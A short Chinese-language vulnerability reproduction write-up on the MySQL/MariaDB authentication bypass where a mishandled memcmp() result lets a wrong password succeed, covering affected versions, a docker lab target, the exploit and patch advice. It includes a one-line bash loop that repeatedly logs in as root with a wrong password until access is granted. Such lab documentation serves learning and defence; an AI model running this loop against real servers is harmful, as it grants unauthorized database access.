一、漏洞简介
当连接 MariaDB/MySQL 时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是 memcmp() 返回一个非零值,也会使 MySQL 认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入 SQL 数据库。
二、受版本影响
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.
三、主机准备
docker 靶机:192.168.47.144
四、漏洞复现
docker搭建靶场环境
查看镜像是否启动成功
访问3306端口查看,如图环境搭建成功
在不知道我们环境正确密码的情况下,在bash下运行如下命令,在一定数量尝试后便可成功登录:
for i in `seq 1 1000`; do mysql -uroot -pwrong -h 192.168.47.144 -P3306 ; done
显示数据库
复现完成
五、修复建议
升级官方补丁
更新mysql版本